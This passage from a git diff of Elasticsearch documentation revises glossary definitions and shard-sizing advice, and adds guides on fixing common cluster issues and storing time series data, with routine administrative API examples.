primary shard has one replica, but the number of -replicas can be changed dynamically on an existing index. A replica -shard will never be started on the same node as its primary shard. +Copy of a <>. Replica shards can improve +search performance and resiliency by distributing data across multiple +<>. See {ref}/scalability.html[Clusters, nodes, and +shards]. // end::replica-shard-def[] --- -[[glossary-rollover]] rollover :: -+ --- +[[glossary-rollover]] rollover:: // tag::rollover-def[] // tag::rollover-def-short[] -Creates a new index for a rollover target when the existing index reaches a certain size, number of docs, or age. -A rollover target can be either an <> or a <>. +Creates a new write index when the current one reaches a certain size, number of +docs, or age. // end::rollover-def-short[] - -For example, if you're indexing log data, you might use rollover to create daily or weekly indices. -See the {ref}/indices-rollover-index.html[rollover index API]. +A rollover can target a <> or an +<> with a write index. // end::rollover-def[] --- -ifdef::permanently-unreleased-branch[] - -[[glossary-rollup]] rollup :: +[[glossary-rollup]] rollup:: // tag::rollup-def[] -Aggregates an index's time series data and stores the results in a new read-only -index. For example, you can roll up hourly data into daily or weekly summaries. -See {ref}/xpack-rollup.html[Roll up your data]. +Summarizes high-granularity data into a more compressed format to maintain access +to historical data in a cost-effective way. See +{ref}/xpack-rollup.html[Roll up your data]. // end::rollup-def[] -endif::[] -ifndef::permanently-unreleased-branch[] - -[[glossary-rollup]] rollup :: -// tag::rollup-def[] -Summarize high-granularity data into a more compressed format to -maintain access to historical data in a cost-effective way. -// end::rollup-def[] - -[[glossary-rollup-index]] rollup index :: +[[glossary-rollup-index]] rollup index:: // tag::rollup-index-def[] -A special type of index for storing historical data at reduced granularity. -Documents are summarized and indexed into a rollup index by a <>. +Special type of <> for storing historical data at reduced +granularity. Documents are summarized and indexed into a rollup index by a +<>. See {ref}/xpack-rollup.html[Rolling up +historical data]. // end::rollup-index-def[] -[[glossary-rollup-job]] rollup job :: +[[glossary-rollup-job]] rollup job:: // tag::rollup-job-def[] -A background task that runs continuously to summarize documents in an index and -index the summaries into a separate rollup index. -The job configuration controls what information is rolled up and how often. +Background task that runs continuously to summarize documents in an +<> and index the summaries into a separate rollup index. +The job configuration controls what data is rolled up and how often. See +{ref}/xpack-rollup.html[Rolling up historical data]. // end::rollup-job-def[] -endif::[] - -[[glossary-routing]] routing :: -+ --- +[[glossary-routing]] routing:: // tag::routing-def[] -When you index a document, it is stored on a single -<>. That shard is chosen by hashing -the `routing` value. By default, the `routing` value is derived from -the ID of the document or, if the document has a specified parent -document, from the ID of the parent document (to ensure that child and -parent documents are stored on the same shard). - -This value can be overridden by specifying a `routing` value at index -time, or a {ref}/mapping-routing-field.html[routing field] -in the <>. +Process of sending and retrieving data from a specific +<>. {es} uses a hashed routing value to +choose this shard. You can provide a routing value in +<> and search requests to take advantage of caching. +See the {ref}/mapping-routing-field.html[`_routing` field]. // end::routing-def[] --- -[[glossary-runtime-fields]] runtime field :: +[[glossary-runtime-fields]] runtime field:: // tag::runtime-fields-def[] -A runtime field is a field that is evaluated at query time. You access runtime -fields from the search API like any other field, and {es} sees runtime fields -no differently. You can define runtime fields in the -{ref}/runtime-mapping-fields.html[index mapping] or in the -{ref}/runtime-search-request.html[search request]. +<> that is evaluated at query time. You access runtime +fields from the search API like any other field, and {es} sees runtime fields no +differently. See {ref}/runtime.html[Runtime fields]. // end::runtime-fields-def[] -[[glossary-searchable-snapshot]] searchable snapshot :: +[[glossary-searchable-snapshot]] searchable snapshot:: // tag::searchable-snapshot-def[] -A <> of an index that has been mounted as a -<> and can be -searched as if it were a regular index. +<> of an <> mounted as a +<>. You can search +this index like a regular index. See {ref}/searchable-snapshots.html[searchable +snapshots]. // end::searchable-snapshot-def[] -[[glossary-searchable-snapshot-index]] searchable snapshot index :: +[[glossary-searchable-snapshot-index]] searchable snapshot index:: // tag::searchable-snapshot-index-def[] -An <> whose data is stored in a <> that resides in a separate <> such as AWS S3. Searchable snapshot indices do not need -<> shards for resilience, since their data is -reliably stored outside the cluster. +<> whose data is stored in a +<>. Searchable snapshot indices do not need +<> for resilience, since their data is +reliably stored outside the cluster. See +{ref}/searchable-snapshots.html[searchable snapshots]. // end::searchable-snapshot-index-def[] -[[glossary-shard]] shard :: -+ --- +[[glossary-segment]] segment:: +// tag::segment-def[] +Data file in a <>'s Lucene instance. {es} manages Lucene +segments automatically. +// end::segment-def[] + +[[glossary-shard]] shard:: // tag::shard-def[] -A shard is a single Lucene instance. It is a low-level “worker” unit -which is managed automatically by Elasticsearch. An index is a logical -namespace which points to <> and -<> shards. - -Other than defining the number of primary and replica shards that an -index should have, you never need to refer to shards directly. -Instead, your code should deal only with an index. - -Elasticsearch distributes shards amongst all <> in the -<>, and can move shards automatically from one -node to another in the case of node failure, or the addition of new -nodes. +Lucene instance containing some or all data for an <>. +{es} automatically creates and manages these Lucene instances. There are two +types of shards: <> and +<>. See {ref}/scalability.html[Clusters, nodes, +and shards]. // end::shard-def[] --- -[[glossary-shrink]] shrink :: -+ --- +[[glossary-shrink]] shrink:: // tag::shrink-def[] // tag::shrink-def-short[] -Reduce the number of primary shards in an index. +Reduces the number of <> in an index. // end::shrink-def-short[] - -You can shrink an index to reduce its overhead when the request volume drops. -For example, you might opt to shrink an index once it is no longer the write index. See the {ref}/indices-shrink-index.html[shrink index API]. // end::shrink-def[] --- -[[glossary-snapshot]] snapshot :: +[[glossary-snapshot]] snapshot:: // tag::snapshot-def[] -Captures the state of the whole cluster or of particular indices or data -streams at a particular point in time. Snapshots provide a back up of a running -cluster, ensuring you can restore your data in the event of a failure. You can -also mount indices or datastreams from snapshots as read-only -{ref}/glossary.html#glossary-searchable-snapshot-index[searchable snapshots]. +Backup taken of a running <>. You can take snapshots +of the entire cluster or only specific <> and +<>. See {ref}/snapshot-restore.html[Snapshot and +restore]. // end::snapshot-def[] -[[glossary-snapshot-lifecycle-policy]] snapshot lifecycle policy :: +[[glossary-snapshot-lifecycle-policy]] snapshot lifecycle policy:: // tag::snapshot-lifecycle-policy-def[] -Specifies how frequently to perform automatic backups of a cluster and -how long to retain the resulting snapshots. +Specifies how frequently to perform automatic backups of a cluster and how long +to retain the resulting <>. See +{ref}/snapshot-lifecycle-management.html[Manage the snapshot lifecycle] // end::snapshot-lifecycle-policy-def[] -[[glossary-snapshot-repository]] snapshot repository :: +[[glossary-snapshot-repository]] snapshot repository:: // tag::snapshot-repository-def[] -Specifies where snapshots are to be stored. -Snapshots can be written to a shared filesystem or to a remote repository. +Location where <> are stored. A snapshot repository +can be a shared filesystem or a remote repository, such as Azure or Google Cloud +Storage. See {ref}/snapshot-restore.html[Snapshot and restore]. // end::snapshot-repository-def[] -[[glossary-source_field]] source field :: +[[glossary-source_field]] source field:: // tag::source-field-def[] -By default, the JSON document that you index will be stored in the -`_source` field and will be returned by all get and search requests. -This allows you access to the original object directly from search -results, rather than requiring a second step to retrieve the object -from an ID. +Original JSON object provided during <>. See the +{ref}/mapping-source-field.html[`_source` field]. // end::source-field-def[] -[[glossary-split]] split :: +[[glossary-split]] split:: // tag::split-def[] -To grow the amount of shards in an index. -See the {ref}/indices-split-index.html[split index API]. +Adds more <> to an +<>. See the {ref}/indices-split-index.html[split index +API]. // end::split-def[] -[[glossary-system-index]] system index :: +[[glossary-system-index]] system index:: // tag::system-index-def[] -An index that contains configuration information or other data used internally by the system, -such as the `.security` index. -The name of a system index is always prefixed with a dot. -You should not directly access or modify system indices. +<> containing configurations and other data used +internally by the {stack}. System index names start with a dot (`.`), such as +`.security`. Do not directly access or change system indices. // end::system-index-def[] -[[glossary-term]] term :: -+ --- +[[glossary-term]] term:: // tag::term-def[] -A term is an exact value that is indexed in Elasticsearch. The terms -`foo`, `Foo`, `FOO` are NOT equivalent. Terms (i.e. exact values) can -be searched for using _term_ queries. - -See also <> and <>. +See {ref}/glossary.html#glossary-token[token]. // end::term-def[] --- -[[glossary-text]] text :: -+ --- +[[glossary-text]] text:: // tag::text-def[] -Text (or full text) is ordinary unstructured text, such as this -paragraph. By default, text will be <> into -<>, which is what is actually stored in the index. - -Text <> need to be analyzed at index time in order to -be searchable as full text, and keywords in full text queries must be -analyzed at search time to produce (and search for) the same terms -that were generated at index time. - -See also <> and <>. +Unstructured content, such as a product description or log message. You +typically <> text for better search. See +{ref}/analysis.html[Text analysis]. // end::text-def[] --- - -[[glossary-type]] type :: -// tag::type-def[] -A type used to represent the _type_ of document, e.g. an `email`, a `user`, or a `tweet`. -Types are deprecated and are in the process of being removed. -See {ref}/removal-of-types.html[Removal of mapping types]. -// end::type-def[] -[[glossary-warm-phase]] warm phase :: +[[glossary-token]] token:: +// tag::token-def[] +A chunk of unstructured <> that's been optimized for search. +In most cases, tokens are individual words. Tokens are also called terms. See +{ref}/analysis.html[Text analysis]. +// end::token-def[] + +[[glossary-tokenization]] tokenization:: +// tag::tokenization-def[] +Process of breaking unstructured text down into smaller, searchable chunks +called <>. See +{ref}/analysis-overview.html#tokenization[Tokenization]. +// end::tokenization-def[] + +[[glossary-warm-phase]] warm phase:: // tag::warm-phase-def[] -The second possible phase in the <>. -In the warm phase, an index is generally optimized for search and no longer updated. +Second possible phase in the <>. In +the warm phase, an <> is generally optimized for search +and no longer updated. See {ref}/ilm-policy-definition.html[Index lifecycle]. // end::warm-phase-def[] [[glossary-warm-tier]] warm tier:: // tag::warm-tier-def[] -A <> that contains nodes that hold time series data -that is accessed less frequently and rarely needs to be updated. +<> that contains <> that hold +time series data that is accessed less frequently and rarely needs to be +updated. See {ref}/data-tiers.html[Data tiers]. // end::warm-tier-def[] diff --git a/docs/reference/high-availability/backup-and-restore-security-config.asciidoc b/docs/reference/high-availability/backup-and-restore-security-config.asciidoc index 47fa196d2cba7..525604a77271b 100644 --- a/docs/reference/high-availability/backup-and-restore-security-config.asciidoc +++ b/docs/reference/high-availability/backup-and-restore-security-config.asciidoc @@ -198,7 +198,7 @@ GET /_snapshot/my_backup/snapshot_1 -------------------------------------------------- // TEST[continued] -Then log into one of the node hosts, navigate to {es} installation directory, +Then log in to one of the node hosts, navigate to {es} installation directory, and follow these steps: . Add a new user with the `superuser` built-in role to the diff --git a/docs/reference/how-to.asciidoc b/docs/reference/how-to.asciidoc index 8d11b947cc38e..63e68d2be6470 100644 --- a/docs/reference/how-to.asciidoc +++ b/docs/reference/how-to.asciidoc @@ -1,5 +1,5 @@ [[how-to]] -= How To += How to [partintro] -- @@ -25,4 +25,8 @@ include::how-to/search-speed.asciidoc[] include::how-to/disk-usage.asciidoc[] -include::how-to/size-your-shards.asciidoc[] \ No newline at end of file +include::how-to/fix-common-cluster-issues.asciidoc[] + +include::how-to/size-your-shards.asciidoc[] + +include::how-to/use-elasticsearch-for-time-series-data.asciidoc[] diff --git a/docs/reference/how-to/fix-common-cluster-issues.asciidoc b/docs/reference/how-to/fix-common-cluster-issues.asciidoc new file mode 100644 index 0000000000000..ea90518cf9575 --- /dev/null +++ b/docs/reference/how-to/fix-common-cluster-issues.asciidoc @@ -0,0 +1,440 @@ +[[fix-common-cluster-issues]] +== Fix common cluster issues + +This guide describes how to fix common problems with {es} clusters. + +[discrete] +[[circuit-breaker-errors]] +=== Circuit breaker errors + +{es} uses <> to prevent nodes from running out +of JVM heap memory. If Elasticsearch estimates an operation would exceed a +circuit breaker, it stops the operation and returns an error. + +By default, the <> triggers at +95% JVM memory usage. To prevent errors, we recommend taking steps to reduce +memory pressure if usage consistently exceeds 85%. + +[discrete] +[[diagnose-circuit-breaker-errors]] +==== Diagnose circuit breaker errors + +**Error messages** + +If a request triggers a circuit breaker, {es} returns an error. + +[source,js] +---- +{ + 'error': { + 'type': 'circuit_breaking_exception', + 'reason': '[parent] Data too large, data for [] would be [123848638/118.1mb], which is larger than the limit of [123273216/117.5mb], real usage: [120182112/114.6mb], new bytes reserved: [3666526/3.4mb]', + 'bytes_wanted': 123848638, + 'bytes_limit': 123273216, + 'durability': 'TRANSIENT' + }, + 'status': 429 +} +---- +// NOTCONSOLE + +{es} also writes circuit breaker errors to <>. This +is helpful when automated processes, such as allocation, trigger a circuit +breaker. + +[source,txt] +---- +Caused by: org.elasticsearch.common.breaker.CircuitBreakingException: [parent] Data too large, data for [] would be [num/numGB], which is larger than the limit of [num/numGB], usages [request=0/0b, fielddata=num/numKB, in_flight_requests=num/numGB, accounting=num/numGB] +---- + +**Check JVM memory usage** + +If you've enabled Stack Monitoring, you can view JVM memory usage in {kib}. In +the main menu, click **Stack Monitoring**. On the Stack Monitoring **Overview** +page, click **Nodes**. The **JVM Heap** column lists the current memory usage +for each node. + +You can also use the <> to get the current +`heap.percent` for each node. + +[source,console] +---- +GET _cat/nodes?v=true&h=name,node*,heap* +---- + +To get the JVM memory usage for each circuit breaker, use the +<>. + +[source,console] +---- +GET _nodes/stats/breaker +---- + +[discrete] +[[prevent-circuit-breaker-errors]] +==== Prevent circuit breaker errors + +**Reduce JVM memory pressure** + +High JVM memory pressure often causes circuit breaker errors. See +<>. + +**Avoid using fielddata on `text` fields** + +For high-cardinality `text` fields, fielddata can use a large amount of JVM +memory. To avoid this, {es} disables fielddata on `text` fields by default. If +you've enabled fielddata and triggered the <>, consider disabling it and using a `keyword` field instead. +See <>. + +**Clear the fieldata cache** + +If you've triggered the fielddata circuit breaker and can't disable fielddata, +use the <> to clear the fielddata cache. +This may disrupt any in-flight searches that use fielddata. + +[source,console] +---- +POST _cache/clear?fielddata=true +---- +// TEST[s/^/PUT my-index\n/] + +[discrete] +[[high-jvm-memory-pressure]] +=== High JVM memory pressure + +High JVM memory usage can degrade cluster performance and trigger +<>. To prevent this, we recommend +taking steps to reduce memory pressure if a node's JVM memory usage consistently +exceeds 85%. + +[discrete] +[[diagnose-high-jvm-memory-pressure]] +==== Diagnose high JVM memory pressure + +**Check JVM memory pressure** + +include::{es-repo-dir}/tab-widgets/code.asciidoc[] +include::{es-repo-dir}/tab-widgets/jvm-memory-pressure-widget.asciidoc[] + +**Check garbage collection logs** + +As memory usage increases, garbage collection becomes more frequent and takes +longer. You can track the frequency and length of garbage collection events in +<>. For example, the following event states {es} +spent more than 50% (21 seconds) of the last 40 seconds performing garbage +collection. + +[source,log] +---- +[timestamp_short_interval_from_last][INFO ][o.e.m.j.JvmGcMonitorService] [node_id] [gc][number] overhead, spent [21s] collecting in the last [40s] +---- + +[discrete] +[[reduce-jvm-memory-pressure]] +==== Reduce JVM memory pressure + +**Reduce your shard count** + +Every shard uses memory. In most cases, a small set of large shards uses fewer +resources than many small shards. For tips on reducing your shard count, see +<>. + +**Avoid expensive searches** + +Expensive searches can use large amounts of memory. To better track expensive +searches on your cluster, enable <>. + +Expensive searches may have a large <>, +use aggregations with a large number of buckets, or include +<>. To prevent expensive +searches, consider the following setting changes: + +* Lower the `size` limit using the +<> index setting. + +* Decrease the maximum number of allowed aggregation buckets using the +<> cluster setting. + +* Disable expensive queries using the +<> cluster +setting. + +[source,console] +---- +PUT _settings +{ + "index.max_result_window": 5000 +} + +PUT _cluster/settings +{ + "persistent": { + "search.max_buckets": 20000, + "search.allow_expensive_queries": false + } +} +---- +// TEST[s/^/PUT my-index\n/] + +**Prevent mapping explosions** + +Defining too many fields or nesting fields too deeply can lead to +<> that use large amounts of memory. +To prevent mapping explosions, use the <> to limit the number of field mappings. + +**Spread out bulk requests** + +While more efficient than individual requests, large <> +or <> requests can still create high JVM +memory pressure. If possible, submit smaller requests and allow more time +between them. + +**Upgrade node memory** + +Heavy indexing and search loads can cause high JVM memory pressure. To better +handle heavy workloads, upgrade your nodes to increase their memory capacity. + +[discrete] +[[red-yellow-cluster-status]] +=== Red or yellow cluster status + +A red or yellow cluster status indicates one or more shards are missing or +unallocated. These unassigned shards increase your risk of data loss and can +degrade cluster performance. + +[discrete] +[[diagnose-cluster-status]] +==== Diagnose your cluster status + +**Check your cluster status** + +Use the <>. + +[source,console] +---- +GET _cluster/health?filter_path=status,*_shards +---- + +A healthy cluster has a green `status` and zero `unassigned_shards`. A yellow +status means only replicas are unassigned. A red status means one or +more primary shards are unassigned. + +**View unassigned shards** + +To view unassigned shards, use the <>. + +[source,console] +---- +GET _cat/shards?v=true&h=index,shard,prirep,state,node,unassigned.reason&s=state +---- + +Unassigned shards have a `state` of `UNASSIGNED`. The `prirep` value is `p` for +primary shards and `r` for replicas. The `unassigned.reason` describes why the +shard remains unassigned. + +To get a more in-depth explanation of an unassigned shard's allocation status, +use the <>. You +can often use details in the response to resolve the issue. + +[source,console] +---- +GET _cluster/allocation/explain?filter_path=index,node_allocation_decisions.node_name,node_allocation_decisions.deciders.* +{ + "index": "my-index", + "shard": 0, + "primary": false, + "current_node": "my-node" +} +---- +// TEST[s/^/PUT my-index\n/] +// TEST[s/"primary": false,/"primary": false/] +// TEST[s/"current_node": "my-node"//] + +[discrete] +[[fix-red-yellow-cluster-status]] +==== Fix a red or yellow cluster status + +A shard can become unassigned for several reasons. The following tips outline the +most common causes and their solutions. + +**Re-enable shard allocation** + +You typically disable allocation during a <> or other +cluster maintenance. If you forgot to re-enable allocation afterward, {es} will +be unable to assign shards. To re-enable allocation, reset the +`cluster.routing.allocation.enable` cluster setting. + +[source,console] +---- +PUT _cluster/settings +{ + "persistent" : { + "cluster.routing.allocation.enable" : null + } +} +---- + +**Recover lost nodes** + +Shards often become unassigned when a data node leaves the cluster. This can +occur for several reasons, ranging from connectivity issues to hardware failure. +After you resolve the issue and recover the node, it will rejoin the cluster. +{es} will then automatically allocate any unassigned shards. + +To avoid wasting resources on temporary issues, {es} <> by one minute by default. If you've recovered a node and don’t want +to wait for the delay period, you can call the <> with no arguments to start the allocation process. The process runs +asynchronously in the background. + +[source,console] +---- +POST _cluster/reroute +---- + +**Fix allocation settings** + +Misconfigured allocation settings can result in an unassigned primary shard. +These settings include: + +* <> index settings +* <> cluster settings +* <> cluster settings + +To review your allocation settings, use the <> and <> APIs. + +[source,console] +---- +GET my-index/_settings?flat_settings=true&include_defaults=true + +GET _cluster/settings?flat_settings=true&include_defaults=true +---- +// TEST[s/^/PUT my-index\n/] + +You can change the settings using the <> and <> APIs. + +**Allocate or reduce replicas** + +To protect against hardware failure, {es} will not assign a replica to the same +node as its primary shard. If no other data nodes are available to host the +replica, it remains unassigned. To fix this, you can: + +* Add a data node to the same tier to host the replica. + +* Change the `index.number_of_replicas` index setting to reduce the number of +replicas for each primary shard. We recommend keeping at least one replica per +primary. + +[source,console] +---- +PUT _settings +{ + "index.number_of_replicas": 1 +} +---- +// TEST[s/^/PUT my-index\n/] + +**Free up or increase disk space** + +{es} uses a <> to ensure data +nodes have enough disk space for incoming shards. By default, {es} does not +allocate shards to nodes using more than 85% of disk space. + +To check the current disk space of your nodes, use the <>. + +[source,console] +---- +GET _cat/allocation?v=true&h=node,shards,disk.* +---- + +If your nodes are running low on disk space, you have a few options: + +* Upgrade your nodes to increase disk space. + +* Delete unneeded indices to free up space. If you use {ilm-init}, you can +update your lifecycle policy to use <> or add a delete phase. If you no longer need to search the data, you +can use a <> to store it off-cluster. + +* If you no longer write to an index, use the <> or {ilm-init}'s <> to merge its +segments into larger ones. ++ +[source,console] +---- +POST my-index/_forcemerge +---- +// TEST[s/^/PUT my-index\n/] + +* If an index is read-only, use the <> or +{ilm-init}'s <> to reduce its primary shard count. ++ +[source,console] +---- +POST my-index/_shrink/my-shrunken-index +---- +// TEST[s/^/PUT my-index\n{"settings":{"index.number_of_shards":2,"blocks.write":true}}\n/] + +* If your node has a large disk capacity, you can increase the low disk +watermark or set it to an explicit byte value. ++ +[source,console] +---- +PUT _cluster/settings +{ + "persistent": { + "cluster.routing.allocation.disk.watermark.low": "30gb" + } +} +---- +// TEST[s/"30gb"/null/] + +**Reduce JVM memory pressure** + +Shard allocation requires JVM heap memory. High JVM memory pressure can trigger +<> that stop allocation and leave shards +unassigned. See <>. + +**Recover data for a lost primary shard** + +If a node containing a primary shard is lost, {es} can typically replace it +using a replica on another node. If you can't recover the node and replicas +don't exist or are irrecoverable, you'll need to re-add the missing data from a +<> or the original data source. + +WARNING: Only use this option if node recovery is no longer possible. This +process allocates an empty primary shard. If the node later rejoins the cluster, +{es} will overwrite its primary shard with data from this newer empty shard, +resulting in data loss. + +Use the <> to manually allocate the +unassigned primary shard to another data node in the same tier. Set +`accept_data_loss` to `true`. + +[source,console] +---- +POST _cluster/reroute +{ + "commands": [ + { + "allocate_empty_primary": { + "index": "my-index", + "shard": 0, + "node": "my-node", + "accept_data_loss": "true" + } + } + ] +} +---- +// TEST[s/^/PUT my-index\n/] +// TEST[catch:bad_request] + +If you backed up the missing index data to a snapshot, use the +<> to restore the individual index. +Alternatively, you can index the missing data from the original data source. diff --git a/docs/reference/how-to/search-speed.asciidoc b/docs/reference/how-to/search-speed.asciidoc index e51c7fa2b7821..154c8361cb89b 100644 --- a/docs/reference/how-to/search-speed.asciidoc +++ b/docs/reference/how-to/search-speed.asciidoc @@ -165,8 +165,8 @@ include::../mapping/types/numeric.asciidoc[tag=map-ids-as-keyword] [discrete] === Avoid scripts -If possible, avoid using <> or -<> in searches. See +If possible, avoid using <>-based sorting, scripts in +aggregations, and the <> query. See <>. diff --git a/docs/reference/how-to/size-your-shards.asciidoc b/docs/reference/how-to/size-your-shards.asciidoc index 70322f1644bce..81a1f693598f1 100644 --- a/docs/reference/how-to/size-your-shards.asciidoc +++ b/docs/reference/how-to/size-your-shards.asciidoc @@ -1,8 +1,5 @@ [[size-your-shards]] -== How to size your shards -++++ -Size your shards -++++ +== Size your shards To protect against hardware failure and increase capacity, {es} stores copies of an index’s data across multiple shards on multiple nodes. The number and size of @@ -105,10 +102,9 @@ image:images/ilm/index-lifecycle-policies.png[] One advantage of this setup is <>, which creates -a new write index when the current one meets a defined `max_age`, `max_docs`, or -`max_size` threshold. You can use these thresholds to create indices based on -your retention intervals. When an index is no longer needed, you can use -{ilm-init} to automatically delete it and free up resources. +a new write index when the current one meets a defined `max_primary_shard_size`, +`max_age`, `max_docs`, or `max_size` threshold. When an index is no longer +needed, you can use {ilm-init} to automatically delete it and free up resources. {ilm-init} also makes it easy to change your sharding strategy over time: @@ -129,12 +125,36 @@ Every new backing index is an opportunity to further tune your strategy. [discrete] [[shard-size-recommendation]] -==== Aim for shard sizes between 10GB and 50GB +==== Aim for shard sizes between 10GB and 65GB -Shards larger than 50GB may make a cluster less likely to recover from failure. +Shards larger than 65GB may make a cluster less likely to recover from failure. When a node fails, {es} rebalances the node's shards across the data tier's -remaining nodes. Shards larger than 50GB can be harder to move across a network -and may tax node resources. +remaining nodes. Larger shards can be harder to move across a network and may +tax node resources. + +If you use {ilm-init}, set the <>'s +`max_primary_shard_size` threshold to `65gb` to avoid larger shards. + +To see the current size of your shards, use the <>. + +[source,console] +---- +GET _cat/shards?v=true&h=index,prirep,shard,store&s=prirep,store&bytes=gb +---- +// TEST[setup:my_index] + +The `pri.store.size` value shows the combined size of all primary shards for +the index. + +[source,txt] +---- +index prirep shard store +.ds-my-data-stream-2099.05.06-000001 p 0 65gb +... +---- +// TESTRESPONSE[non_json] +// TESTRESPONSE[s/\.ds-my-data-stream-2099\.05\.06-000001/my-index-000001/] +// TESTRESPONSE[s/65gb/.*/] [discrete] [[shard-count-recommendation]] @@ -160,7 +180,7 @@ node. [source,console] ---- -GET _cat/shards +GET _cat/shards?v=true ---- // TEST[setup:my_index] @@ -180,7 +200,7 @@ configure `index.routing.allocation.total_shards_per_node` using the [source,console] -------------------------------------------------- -PUT /my-index-000001/_settings +PUT my-index-000001/_settings { "index" : { "routing.allocation.total_shards_per_node" : 5 @@ -198,19 +218,16 @@ If your cluster is experiencing stability issues due to oversharded indices, you can use one or more of the following methods to fix them. [discrete] -[[reindex-indices-from-shorter-periods-into-longer-periods]] -==== Create time-based indices that cover longer periods - -For time series data, you can create indices that cover longer time intervals. -For example, instead of daily indices, you can create indices on a monthly or -yearly basis. +[[create-indices-that-cover-longer-time-periods]] +==== Create indices that cover longer time periods -If you're using {ilm-init}, you can do this by increasing the `max_age` -threshold for the <>. +If you use {ilm-init} and your retention policy allows it, avoid using a +`max_age` threshold for the rollover action. Instead, use +`max_primary_shard_size` to avoid creating empty indices or many small shards. -If your retention policy allows it, you can also create larger indices by -omitting a `max_age` threshold and using `max_docs` and/or `max_size` -thresholds instead. +If your retention policy requires a `max_age` threshold, increase it to create +indices that cover longer time intervals. For example, instead of creating daily +indices, you can create indices on a weekly or monthly basis. [discrete] [[delete-empty-indices]] @@ -224,7 +241,7 @@ You can find these empty indices using the <>. [source,console] ---- -GET /_cat/count/my-index-000001?v=true +GET _cat/count/my-index-000001?v=true ---- // TEST[setup:my_index] @@ -234,7 +251,7 @@ unneeded indices. [source,console] ---- -DELETE /my-index-* +DELETE my-index-* ---- // TEST[setup:my_index] @@ -249,7 +266,7 @@ are resource-intensive. If possible, run the force merge during off-peak hours. [source,console] ---- -POST /my-index-000001/_forcemerge +POST my-index-000001/_forcemerge ---- // TEST[setup:my_index] @@ -262,7 +279,7 @@ If you no longer write to an index, you can use the [source,console] ---- -POST /my-index-000001/_shrink/my-shrunken-index-000001 +POST my-index-000001/_shrink/my-shrunken-index-000001 ---- // TEST[s/^/PUT my-index-000001\n{"settings":{"index.number_of_shards":2,"blocks.write":true}}\n/] @@ -282,7 +299,7 @@ shared index pattern, such as `my-index-2099.10.11`, into a monthly [source,console] ---- -POST /_reindex +POST _reindex { "source": { "index": "my-index-2099.10.*" diff --git a/docs/reference/how-to/use-elasticsearch-for-time-series-data.asciidoc b/docs/reference/how-to/use-elasticsearch-for-time-series-data.asciidoc new file mode 100644 index 0000000000000..d382d878c77a6 --- /dev/null +++ b/docs/reference/how-to/use-elasticsearch-for-time-series-data.asciidoc @@ -0,0 +1,213 @@ +[[use-elasticsearch-for-time-series-data]] +== Use {es} for time series data + +{es} offers features to help you store, manage, and search time series data, +such as logs and metrics. Once in {es}, you can analyze and visualize your data +using {kib} and other {stack} features. + +To get the most out of your time series data in {es}, follow these steps: + +* <> +* <> +* <> +* <> +* <> +* <> +* <> + + +[discrete] +[[set-up-data-tiers]] +=== Step 1. Set up data tiers + +{es}'s <> feature uses <> to automatically move older data to nodes with less expensive hardware +as it ages. This helps improve performance and reduce storage costs. + +The hot tier is required. The warm, cold, and frozen tiers are optional. Use +high-performance nodes in the hot and warm tiers for faster indexing and faster +searches on your most recent data. Use slower, less expensive nodes in the cold +and frozen tiers to reduce costs. + +The steps for setting up data tiers vary based on your deployment type: + +include::{es-repo-dir}/tab-widgets/code.asciidoc[] +include::{es-repo-dir}/tab-widgets/data-tiers-widget.asciidoc[] + +[discrete] +[[register-snapshot-repository]] +=== Step 2. Register a snapshot repository + +The cold and frozen tiers can use <> to +reduce local storage costs. + +To use {search-snaps}, you must register a supported snapshot repository. The +steps for registering this repository vary based on your deployment type and +storage provider: + +include::{es-repo-dir}/tab-widgets/snapshot-repo-widget.asciidoc[] + +[discrete] +[[create-edit-index-lifecycle-policy]] +=== Step 3. Create or edit an index lifecycle policy + +A <> stores your data across multiple backing +indices. {ilm-init} uses an <> to +automatically move these indices through your data tiers. + +If you use {fleet} or {agent}, edit one of {es}'s built-in lifecycle policies. +If you use a custom application, create your own policy. In either case, +ensure your policy: + +* Includes a phase for each data tier you've configured. +* Calculates the threshold, or `min_age`, for phase transition from rollover. +* Uses {search-snaps} in the cold and frozen phases, if wanted. +* Includes a delete phase, if needed. + +include::{es-repo-dir}/tab-widgets/ilm-widget.asciidoc[] + +[discrete] +[[create-ts-component-templates]] +=== Step 4. Create component templates + +TIP: If you use {fleet} or {agent}, skip to <>. +{fleet} and {agent} use built-in templates to create data streams for you. + +If you use a custom application, you need to set up your own data stream. +include::{es-repo-dir}/data-streams/set-up-a-data-stream.asciidoc[tag=ds-create-component-templates] + +[discrete] +[[create-ts-index-template]] +=== Step 5. Create an index template + +include::{es-repo-dir}/data-streams/set-up-a-data-stream.asciidoc[tag=ds-create-index-template] + +[discrete] +[[add-data-to-data-stream]] +=== Step 6. Add data to a data stream + +include::{es-repo-dir}/data-streams/set-up-a-data-stream.asciidoc[tag=ds-create-data-stream] + +[discrete] +[[search-visualize-your-data]] +=== Step 7. Search and visualize your data + +To explore and search your data in {kib}, open the main menu and select +**Discover**. See {kib}'s {kibana-ref}/discover.html[Discover documentation]. + +Use {kib}'s **Dashboard** feature to visualize your data in a chart, table, map, +and more. See {kib}'s {kibana-ref}/dashboard.html[Dashboard documentation]. + +You can also search and aggregate your data using the <>. Use <> and <> to dynamically extract data from log messages and other unstructured +content at search time. + +[source,console] +---- +GET my-data-stream/_search +{ + "runtime_mappings": { + "source.ip": { + "type": "ip", + "script": """ + String sourceip=grok('%{IPORHOST:sourceip} .*').extract(doc[ "message" ].value)?.sourceip; + if (sourceip != null) emit(sourceip); + """ + } + }, + "query": { + "bool": { + "filter": [ + { + "range": { + "@timestamp": { + "gte": "now-1d/d", + "lt": "now/d" + } + } + }, + { + "range": { + "source.ip": { + "gte": "192.0.2.0", + "lte": "192.0.2.255" + } + } + } + ] + } + }, + "fields": [ + "*" + ], + "_source": false, + "sort": [ + { + "@timestamp": "desc" + }, + { + "source.ip": "desc" + } + ] +} +---- +// TEST[setup:my_data_stream] +// TEST[teardown:data_stream_cleanup] + +{es} searches are synchronous by default. Searches across frozen data, long time +ranges, or large datasets may take longer. Use the <> to run searches in the background. For more search options, see +<>. + +[source,console] +---- +POST my-data-stream/_async_search +{ + "runtime_mappings": { + "source.ip": { + "type": "ip", + "script": """ + String sourceip=grok('%{IPORHOST:sourceip} .*').extract(doc[ "message" ].value)?.sourceip; + if (sourceip != null) emit(sourceip); + """ + } + }, + "query": { + "bool": { + "filter": [ + { + "range": { + "@timestamp": { + "gte": "now-2y/d", + "lt": "now/d" + } + } + }, + { + "range": { + "source.ip": { + "gte": "192.0.2.0", + "lte": "192.0.2.255" + } + } + } + ] + } + }, + "fields": [ + "*" + ], + "_source": false, + "sort": [ + { + "@timestamp": "desc" + }, + { + "source.ip": 